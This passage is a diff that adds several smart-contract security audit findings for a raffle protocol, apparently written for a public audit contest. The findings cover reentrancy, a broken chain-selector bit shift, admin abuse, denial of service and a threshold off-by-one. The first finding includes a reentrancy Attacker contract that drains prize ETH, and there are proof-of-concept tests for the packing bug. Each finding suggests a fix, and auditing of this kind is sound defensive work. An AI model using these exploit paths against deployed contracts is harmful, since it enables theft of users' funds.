to claim the prize, in case that she won it: + +```solidity +//SPDX-License-Identifier: MIT + +pragma solidity 0.8.24; + +import {WinnablesPrizeManager} from "./WinnablesPrizeManager.sol"; +import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; + +contract Attacker { + WinnablesPrizeManager prizeManager; + uint public round; + uint public prizeAmount; + + constructor(address manager) { + prizeManager = WinnablesPrizeManager(manager); + } + + function withrawETH() public { + //withdraw ETH + } + + function withrawTokens() public { + //withdraw tokens + } + + function claimReward(uint _id, uint _prizeAmount) public { + round = _id; + prizeAmount = _prizeAmount; + prizeManager.claimPrize(round); + } + + receive() external payable { + //claim prize again + if (address(prizeManager).balance > prizeAmount) { + prizeManager.claimPrize(round); + } + } +} +``` +2- Alice buys tickets using the avalanche version +3- Alice won the prize, she calls `Attacker.sol::claimReward` on the `ETH` chain passing `2` as `_id` and `1 ETH` as the `_prizeAmount` +4- `WinnablesPrizeManager::claimPrize` is called, Since `RaffleType` is `ETH`, `1 ETH` is sent to Attacker.sol: +```solidity + else if (raffleType == RaffleType.ETH) { + unchecked { + _ethLocked -= _ethRaffles[raffleId]; + } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } +``` +5- if we look at `_sendETHPrize` we can see that it calls msg.sender: +```solidity + function _sendETHPrize(uint256 amount, address winner) internal { + (bool success, ) = winner.call{value: amount}(""); + if (!success) revert ETHTransferFail(); + } +``` +6- `receive` function of `Attacker` contract is called, `Attacker` calls `WinnablesPrizeManager::claimPrize` again. +7- `WinnablesPrizeManager` sends another `ETH` To `Attacker` contract, this loop continues until `PrizeManager` doesn't have enough `ETH` +8- at the end of `claimPrize` function, `rafflePrize.status` is set to `CLAIMED` which prevents this function from being called again, however, this state change must have been at the beginning of the function, not at the end: +```solidity + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) + revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); +``` + +## Impact +A malicious contract can drain whole ETH or token balance of the PrizeManager + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 + +## Tool used + +Manual Review + +## Recommendation +use a reentrancy guard for PrizeManager \ No newline at end of file diff --git a/001/588.md b/001/588.md new file mode 100644 index 0000000..f918c90 --- /dev/null +++ b/001/588.md @@ -0,0 +1,170 @@ +Breezy Amethyst Penguin + +High + +# Executing `uint256(chainSelector << 160)` in `BaseCCIPContract._packCCIPContract` function equals 0 mistakenly, which allows unauthorized CCIP sender corresponding to unauthorized `message.sourceChainSelector` to call `WinnablesPrizeManager._ccipReceive` and `WinnablesTicketManager._ccipReceive` functions to change corresponding raffle's state unexpectedly, such as setting such raffle's winner to someone controlled by such unauthorized CCIP sender + +### Summary + +Because executing `uint256(chainSelector << 160)` in the `BaseCCIPContract._packCCIPContract` function is a code mistake that would equal 0, an unauthorized CCIP sender corresponding to an unauthorized `message.sourceChainSelector` can call the `WinnablesPrizeManager._ccipReceive` and `WinnablesTicketManager._ccipReceive` functions to change the corresponding raffle's state unexpectedly, such as setting such raffle's winner to someone controlled by such unauthorized CCIP sender. + +### Root Cause + +Executing `uint256(chainSelector << 160)` in the `BaseCCIPContract._packCCIPContract` function is a code mistake that would equal 0 because the `chainSelector` input is `uint64`. + +### Internal pre-conditions + +Not applicable + +### External pre-conditions + +1. A CCIP sender's address on an unauthorized source chain is the same as the authorized counterpart contract's address on the authorized source chain. + +### Attack Path + +1. This protocol's admin does not call the `WinnablesPrizeManager.setCCIPCounterpart` or `WinnablesTicketManager.setCCIPCounterpart` function, which further calls the `BaseCCIPContract._setCCIPCounterpart` function, to approve such CCIP sender that is on the unauthorized source chain so such CCIP sender is unauthorized. +2. Such unauthorized CCIP sender calls the `WinnablesPrizeManager._ccipReceive` and `WinnablesTicketManager._ccipReceive` functions for unexpectedly changing the corresponding raffle's state. +3. In the `WinnablesPrizeManager._ccipReceive` and `WinnablesTicketManager._ccipReceive` functions, the `_ccipContracts[counterpart]` for such unauthorized CCIP sender would equal true because the corresponding `_ccipContracts[counterpart]` stored by the `BaseCCIPContract._setCCIPCounterpart` function, which calls `BaseCCIPContract._packCCIPContract` function, only includes the bit mapping for the counterpart contract address and does not correctly contain the bit mapping for the authorized CCIP Chain selector. Thus, such unauthorized CCIP sender's `WinnablesPrizeManager._ccipReceive` and `WinnablesTicketManager._ccipReceive` function calls do not revert. +4. Such unauthorized CCIP sender can change the corresponding raffle's state unexpectedly, such as setting such raffle's winner to an address controlled by it. + +### Impact + +The corresponding raffle's state can be changed unexpectedly, such as that its winner can be set by the unauthorized CCIP sender. + +### PoC + +The `BaseCCIPContract._setCCIPCounterpart` function calls the `BaseCCIPContract._packCCIPContract` function for creating a `bytes32` key that should contain the `[160..223]` bit mapping for the authorized CCIP Chain selector according to `_ccipContracts`'s comment. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L31-L38 +```solidity + function _setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) internal { + bytes32 counterpart = _packCCIPContract(contractAddress, chainSelector); +@> _ccipContracts[counterpart] = enabled; + } +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L40-L45 +```solidity + function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | +@> uint256(chainSelector << 160) + ); + } +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L11-L15 +```solidity + /// @dev Linked CCIP contracts + /// The mapping key is a packed bytes32 with the following bit mapping + /// [0..159] address sourceContract +@> /// [160..223] uint64 sourceChainSelector + mapping(bytes32 => bool) internal _ccipContracts; +``` + +However, executing `uint256(chainSelector << 160)` in the `BaseCCIPContract._packCCIPContract` function is a code mistake that would equal 0 since the `chainSelector` input is `uint64`. The following `test_packCCIPContract` test can be executed and pass using Foundry Forge to prove this. + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.0; + +import {Test} from "forge-std/Test.sol"; + +contract POC is Test { +    // The following _packCCIPContract function is the current _packCCIPContract function from +    //   https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L40-L45. +    function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { +        return bytes32( +            uint256(uint160(contractAddress)) | +            uint256(chainSelector << 160) +        ); +    } + +    function test_packCCIPContract() public { +        address contractAddress = 0x80226fc0Ee2b096224EeAc085Bb9a8cba1146f7D; + +        bytes32 key1 = _packCCIPContract(contractAddress, 5009297550715157269); +        bytes32 key2 = _packCCIPContract(contractAddress, 14767482510784806043); +        bytes32 key3 = _packCCIPContract(contractAddress, 16015286601757825753); +        bytes32 key4 = _packCCIPContract(contractAddress, 10000000000000000000); + +        // For the same address of counterpart contract on the source chain, +        //   the current _packCCIPContract function returns the same bytes32 key for different CCIP Chain selectors of the source chain. +        // This means that the key returned by the current _packCCIPContract function does not correctly store the CCIP Chain selector of the source chain. +        assertEq(key1, key2); +        assertEq(key1, key3); +        assertEq(key1, key4); + +        // Executing uint256(chainSelector << 160) in the current _packCCIPContract function is a code mistake that equals 0. +        assertEq(key1 >> 160, 0); +        assertEq(key2 >> 160, 0); +        assertEq(key3 >> 160, 0); +        assertEq(key4 >> 160, 0); +    } +} +``` + +When `_ccipContracts` does not correctly include the bit mapping for the authorized CCIP Chain selector, `if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender()` in the `WinnablesPrizeManager._ccipReceive` and `WinnablesTicketManager._ccipReceive` functions become ineffective in which the `_ccipContracts[counterpart]` would equal true for an unauthorized CCIP sender on an unauthorized source chain if it has the same address as an authorized counterpart contract on the authorized source chain. In this case, an unauthorized CCIP sender corresponding to an unauthorized `message.sourceChainSelector` can call these `WinnablesPrizeManager._ccipReceive` and `WinnablesTicketManager._ccipReceive` functions to change the corresponding raffle's state unexpectedly, such as setting such raffle's winner to someone controlled by it. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278 +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); +@> bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); +@> if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); + uint256 raffleId; + address winner; + if (messageType == CCIPMessageType.RAFFLE_CANCELED) { + raffleId = _decodeRaffleCanceledMessage(message.data); + _cancelRaffle(raffleId); + return; + } + (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); +@> _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); + } +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L365-L388 +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); +@> bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); +@> if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + (uint256 raffleId) = abi.decode(message.data, (uint256)); + if (_raffles[raffleId].status != RaffleStatus.NONE) { + // The raffle cannot be created, send back a cancel message to unlock the prize + _sendCCIPMessage( + _senderAddress, + message.sourceChainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + return; + } + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + + emit RafflePrizeLocked( + message.messageId, + message.sourceChainSelector, + raffleId + ); + } +``` + +### Mitigation + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L43 can be updated to the following code. + +```solidity +            uint256(chainSelector) << 160 +``` \ No newline at end of file diff --git a/001/589.md b/001/589.md new file mode 100644 index 0000000..6b6d7ad --- /dev/null +++ b/001/589.md @@ -0,0 +1,37 @@ +Virtual Ebony Cricket + +Medium + +# `WinnablesTicketManager::refundPlayers` will revert half way before refunding all users + +## Summary +In the `refundPlayers` function in the `WinnablesTicketManager` if a player has already been refunded, the function will revert the entire transaction, causing all subsequent refunds to fail. + +## Vulnerability Detail +in `for loop` of [refundPlayers](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L221) function it iterates through an array of player addresses and processes refunds. If a player has already been refunded, indicated by the `PlayerAlreadyRefunded` condition, the function reverts the entire transaction. + +**Example Scenario:** + +- An array of 10 player addresses is passed to refundPlayers. +- The 3rd player in the array has already been refunded. +- The function reverts the transaction, and refunds for players 4 through 10 are not processed. + +## Impact +The entire refund process fails if any player has already been refunded, which could lead to failed transactions and users may not receive their refunds + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215 + +## Tool used + +Manual Review + +## Recommendation +Use `continue` instead `revert` + + ```solidity +if (((participation >> 160) & 1) == 1) { + // Skip already refunded players + unchecked { ++i; continue; } + } +``` \ No newline at end of file diff --git a/001/594.md b/001/594.md new file mode 100644 index 0000000..ebca6de --- /dev/null +++ b/001/594.md @@ -0,0 +1,60 @@ +Decent Scarlet Squid + +Medium + +# Users can not claim their rewards if they use an account abstraction wallet + +## Summary +Account abstraction wallets can not work properly with the protocol. + +## Vulnerability Detail +When users buy tickets, the `WinnableTicket` contract directly mints tickets to the `msg.sender`. If the `msg.sender` is a smart contract, it is checked whether it implements the `onERC1155Received` function to ensure it is a valid receiver. + +```solidity + IWinnablesTicket(TICKETS_CONTRACT).mint( + msg.sender, + raffleId, + ticketCount + ); +``` + +```solidity + function _doSafeTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256 id, + uint256 amount + ) private { + if (to.isContract()) { + // to = msg.sender + try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, "") returns (bytes4 response) { + if (response != IERC1155Receiver.onERC1155Received.selector) { + revert TransferRejected(); + } + } catch { + revert TransferRejected(); + } + } + } +``` + +The protocol allows users to use smart wallets, but this can cause problems if the smart wallet is an account abstraction wallet. + +Users with account abstraction wallets have different addresses across different chains for the same account, so if someone using an account abstraction wallet and buys tickets on Avalanche and is picked as a winner, they might have a different address on Ethereum and therefore can not claim their rewards. + +Generally, users should be aware of this disadvantage of their wallet, but since the protocol is expected to support smart wallets, this edge case is not handled correctly. + +## Impact +Users can not claim their rewards if they use an account abstraction wallet. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L208 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L198 +## Tool used + +Manual Review + +## Recommendation +Instead of directly minting to `msg.sender`, allow users to specify the address to which they want the tickets to be minted. This will help match their address on Ethereum if they use an account abstraction wallet. \ No newline at end of file diff --git a/001/595.md b/001/595.md new file mode 100644 index 0000000..8484f09 --- /dev/null +++ b/001/595.md @@ -0,0 +1,86 @@ +Keen Scarlet Loris + +High + +# A malicious admin can exploit the system + +## Summary +Malicious admins can steal the prize from any raffle or prevent a raffle from getting canceled, making users' funds stuck + +## Vulnerability Detail +As the contest's README states, +"The principles that must always remain true are: +- Winnables admins cannot do anything to prevent a winner from withdrawing their prize +- Participants in a raffle that got cancelled can always get refunded +- Admins cannot affect the odds of a raffle" + +However, this is not exactly true, since a malicious admin could approve his own malicious contract using WinnablesPrizeManager.sol::`setCCIPCounterpart()` function and send forged messages from his contract to the PrizeManager, which could either: + +- Steal any locked prize by sending a message which consists of `CCIPMessageType.WINNER_DRAWN`, `raffleId` and his address +- Prevent a raffle from getting canceled on Avalanche by sending a forged message which consists of `CCIPMessageType.RAFFLE_CANCELED` and `raffleId`, which makes the function `cancelRaffle()` on Avalanche contract revert and a raffle to get stuck with users' funds. + +```solidity +function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); + uint256 raffleId; + address winner; + if (messageType == CCIPMessageType.RAFFLE_CANCELED) { + raffleId = _decodeRaffleCanceledMessage(message.data); + _cancelRaffle(raffleId); + return; + } + (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); + _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); + } +``` +```solidity +function _cancelRaffle(uint256 raffleId) internal { + RaffleType raffleType = _rafflePrize[raffleId].raffleType; + if (_rafflePrize[raffleId].status == RafflePrizeStatus.CANCELED) revert InvalidRaffle(); + . . . + _rafflePrize[raffleId].status = RafflePrizeStatus.CANCELED; + emit PrizeUnlocked(raffleId); + } +``` +```solidity +function setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) external onlyRole(0) { + _setCCIPCounterpart(contractAddress, chainSelector, enabled); + } +``` +```solidity +function _setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) internal { + bytes32 counterpart = _packCCIPContract(contractAddress, chainSelector); + _ccipContracts[counterpart] = enabled; + } +``` + +## Impact +Malicious admins could abuse the system by stealing prizes or making users' funds stuck in the protocol. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L280-L294 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134-L140 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L31-L38 + +## Tool used + +Manual Review + +## Recommendation +Implement a check that doesn't let admins set multiple CCIPCounterparts since there's only 1 contract on both Ethereum and Avalanche that sends cross-chain messages. \ No newline at end of file diff --git a/001/596.md b/001/596.md new file mode 100644 index 0000000..b38b011 --- /dev/null +++ b/001/596.md @@ -0,0 +1,79 @@ +Narrow Latte Huskie + +Medium + +# Incorrect Bit Shifting in `BaseCCIPContract::_packCCIPContract()` Function + +## Summary + +An issue has been identified in the `_packCCIPContract()` function where incorrect bit shifting of the chainSelector results in its value being effectively set to zero. This leads to potential security risks where trusted contract validations may not perform as intended, allowing unauthorized cross-chain interactions. + +## Vulnerability Detail + +The `_packCCIPContract()` function is designed to pack an address and a chain selector into a single bytes32 variable. However, due to incorrect handling of `type casting and bit shifting`, the chain selector value is being lost. This function takes the chainSelector as uint64 and then shifts it 160 places left before converting it to uint256. Due to this, the bits representing the chain selector move out of the 256-bit range and the value is set to zero in the resulting bytes32. + +```solidity + /// @dev Linked CCIP contracts + /// The mapping key is a packed bytes32 with the following bit mapping + /// [0..159] address sourceContract + /// [160..223] uint64 sourceChainSelector + mapping(bytes32 => bool) internal _ccipContracts; +``` + +This mapping holds the enabled `_ccipContracts` which are made up of two components `sourceContract` and `sourceChainSelector`. + +Once the contracts are set up, this mapping will now hold the correct address but 0 as its `sourceChainSelector`. + +The mapping is used to validate the messages being received in `_ccipReceive()` functions present in two contracts `WinnablesTicketManager` and `WinnablesPrizeManager`. + +Both functions have a check on the sender's address and chainSelector +```solidity + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); +``` + +The improper bit shifting creates a problem here because the counterpart returned will have no chainSelector in it, allowing the same address from other chains to bypass this check and execute their message. + +1. `WinnablesPrizeManager::_ccipReceive()` allows raffles to be cancelled or a winner to be drawn according to the data from the message. +2. `WinnablesTicketManager::_ccpReceive()` allows raffles to be created on any id, removing the NONE status for the corresponding id. + +## POC + +Paste the following code into remix and provide any address and chainSelector e.g +1. address = 0x03C6FcED478cBbC9a4FAB34eF9f40767739D1Ff7 +2. chainSelector = 33311 + +```solidity +function _packCCIPContract(address contractAddress, uint64 chainSelector) external pure returns(bytes32) { + return bytes32(uint256(uint160(contractAddress)) | uint256(chainSelector << 160)); + } +``` + +The output is the following and it only contains the address +bytes32: 0x00000000000000000000000003c6fced478cbbc9a4fab34ef9f40767739d1ff7 + +## Impact + +Although the likelihood of having the same address as the authorized address on a different chain is low but the impact which can be caused by this issue is dangerous as it can allow a malicious user to manipulate the status and draw winners of raffles. + +## Code Snippet + +[BaseCCIPContract.sol](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L40-L44) +[WinnablesTicketManager.sol](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L365-L388) +[WinnablesPrizeManager.sol](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278) + +## Tool used + +Manual Review, Remix + +## Recommendation + +Change the code to + +```diff +function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { +- return bytes32(uint256(uint160(contractAddress)) | uint256(chainSelector << 160)); ++ return bytes32(uint256(uint160(contractAddress)) | uint256(chainSelector) << 160); + } +``` \ No newline at end of file diff --git a/001/598.md b/001/598.md new file mode 100644 index 0000000..0eb723d --- /dev/null +++ b/001/598.md @@ -0,0 +1,114 @@ +Narrow Latte Huskie + +High + +# Reentrancy Vulnerability in `WinnablesPrizeManager::claimPrize()` Function + +## Summary + +The claimPrize function in the contract allows for reentrancy attacks when claiming ETH prizes. The function does not appropriately update the raffle's status before executing external calls, leading to potential reentrancy vulnerabilities. + +## Vulnerability Detail + +The claimPrize function updates the status of a raffle to CLAIMED after sending the prize, rather than before. This ordering allows a malicious winner to reenter the claimPrize function during the execution of an external call (_sendETHPrize), potentially claiming more ETH than intended or disrupting the intended logic flow. + +```solidity + /// @notice (Public) Send the prize for a Raffle to its rightful winner + /// @param raffleId ID of the raffle + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; // @audit-issue state variable should be changed before external call + emit PrizeClaimed(raffleId, msg.sender); + } +``` + +The `_ethLocked` variable holds the total amount of ETH locked in the contract where as the _ethRaffles[raffleId] holds the amount of ETH of the raffle. The _ethLocked value will always be either greater or equal to the _ethRaffles[raffleId] variable, a malicious user can use this to their advantage by re-entering into the contract over and over again until _ethLocked is almost depleted. + +## POC + +1. Malicious user is the winner of the raffle and calls `claimPrize()` +2. Once raffleType == RaffleType.ETH is checked, the contract will deduct total _ethLocked by the prize amount of the raffle +3. Then _sendETHPrize() function is called which contains the following code + +```solidity +function _sendETHPrize(uint256 amount, address winner) internal { + (bool success, ) = winner.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` + +4. This call will transfer control the malicious user's contract where they can reenter the claimPrize() function +5. The raffleType == RaffleType.ETH will be checked again where _ethLocked will be deducted again +6. Then the call will again transfer to the malicious user's contract through _sendETHPrize() function +7. The user can repeat the above steps till _ethLocked is depleted + +This is only possible because the status updated after the external call is made + +```solidity +rafflePrize.status = RafflePrizeStatus.CLAIMED; +``` + +## Impact + +If exploited, this vulnerability could lead to unauthorized withdrawal of funds or other unintended actions being repeated, such as multiple claiming of prizes. This can result in financial losses for legitimate participants or the depletion of contract resources. + +## Code Snippet + +[claimPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L103-L124) +[sendETHPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L103-L124) + +## Tool Used + +Manual Review + +## Recommendation + +```diff + /// @notice (Public) Send the prize for a Raffle to its rightful winner + /// @param raffleId ID of the raffle + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` diff --git a/001/599.md b/001/599.md new file mode 100644 index 0000000..b9bd879 --- /dev/null +++ b/001/599.md @@ -0,0 +1,82 @@ +Narrow Latte Huskie + +Medium + +# Denial of Service Vulnerability in Raffle Cancellation Logic + +## Summary + +A denial of service (DoS) vulnerability exists in the `cancelRaffle` function of the `WinnablesTicketManager` contract. This flaw allows any user to prematurely cancel a raffle by manipulating the raffle's state from `PRIZE_LOCKED` to `CANCELED`, thus preventing the proper initiation of the raffle setup process which depends on the raffle being in the PRIZE_LOCKED state. + +## Vulnerability Detail + +The WinnablesPrizeManager.sol has three lock functions to lock the rewards i.e. ETH, NFT or TOKENS. Once this function is executing it sends a `ccipMessage` to the WinnablesTicketManager.sol . The purpose of this message is to inform the contract that a new prize has been locked and a raffle should be created for it. + +Upon receiving this message the _ccipReceive() function sets the status of the raffle through + +```solidity +_raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; +``` + +The status is updated and prize is locked. After this createRaffle() has to be called by the admin to create a raffle with the right parameters so that the raffle can start but there is another function in the contract which allows a malicious user to DoS the creation of new raffles. + +```solidity + /// @notice (Public) Cancel a raffle if it can be canceled + /// @param raffleId ID of the raffle to cancel + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + + // @audit-issue malicious user can dos the contract + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; // if prize is still locked then return + + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +The first function cancelRaffle() calls the internal function _checkShouldCancel function to verify if the raffle can be cancelled. The 2nd function returns after executing + +if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + +The flow is not at the first function which will set the new status of the raffle to CANCELED. This will block the raffle from being created on this contract because to create the raffle a check inside createRaffle() function is present i.e. + +```solidity +if (raffle.status != RaffleStatus.PRIZE_LOCKED) revert PrizeNotLocked(); +``` + +This causes the function to revert and the raffle can not be created. + +## Impact + +DoS of creation of raffles by calling cancelRaffle on the id of the raffle. + +## Code Snippet + +[createRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252-L274) +[_ccipReceive()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L363-L388) +[cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L276-L288) +[_checkShouldCancel()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441) + +## Tool used + +Manual Review + +## Recommendation + +Do not allow cancellation of prize locked raffles by any user. \ No newline at end of file diff --git a/001/601.md b/001/601.md new file mode 100644 index 0000000..01246c9 --- /dev/null +++ b/001/601.md @@ -0,0 +1,42 @@ +Tart Brick Canary + +Medium + +# Attackers can cancel raffles that reaches minTicketsThreshold due to using > instead of >= + +## Summary +Attackers can cancel raffles that reaches minTicketsThreshold due to using > instead of >= + +## Vulnerability Detail +At the end of a raffle, users are able to draw winner also long as they reach the minTicketsThreshold as seen in the docs and code implementation: +```solidity +function _checkShouldDraw(uint256 raffleId) internal view { + ... +@> if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); + } +``` +however, attackers can still cancel raffles that reaches the minTicketsThreshold by canceling before the users `drawWinner()` call or frontrunning it, due to the check to prevent this uses > instead of >=: +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + ... + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +## Impact +Attackers can cancel raffles that reaches minTicketsThreshold + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L440 + +## Tool used + +Manual Review + +## Recommendation +```diff +function _checkShouldCancel(uint256 raffleId) internal view { + ... ++ if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); +- if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` \ No newline at end of file diff --git a/001/602.md b/001/602.md new file mode 100644 index 0000000..aec2556 --- /dev/null +++ b/001/602.md @@ -0,0 +1,79 @@ +Polite Canvas Eagle + +High + +# Winner prize can be sent to the wrong address on destination chain when account abstraction wallets are used + +## Summary +Users with account abstraction wallets have different addresses across different chains for the same account, so if someone using an account abstraction wallet participates in a raffle, and wins, the prize will be sent to the address on the destination chain which may not belong to the winner. + +## Vulnerability Detail +Please first read this issue to get a better understanding - https://solodit.xyz/issues/m-02-all-bridged-funds-will-be-lost-for-the-users-using-the-account-abstraction-wallet-code4rena-ondo-finance-ondo-finance-git + +When a user buys the tickets using the `buyTickets` function, it is the msg.sender who gets minted the ticket tokens. If it's an AA wallet, it gets minted the raffle tickets: + 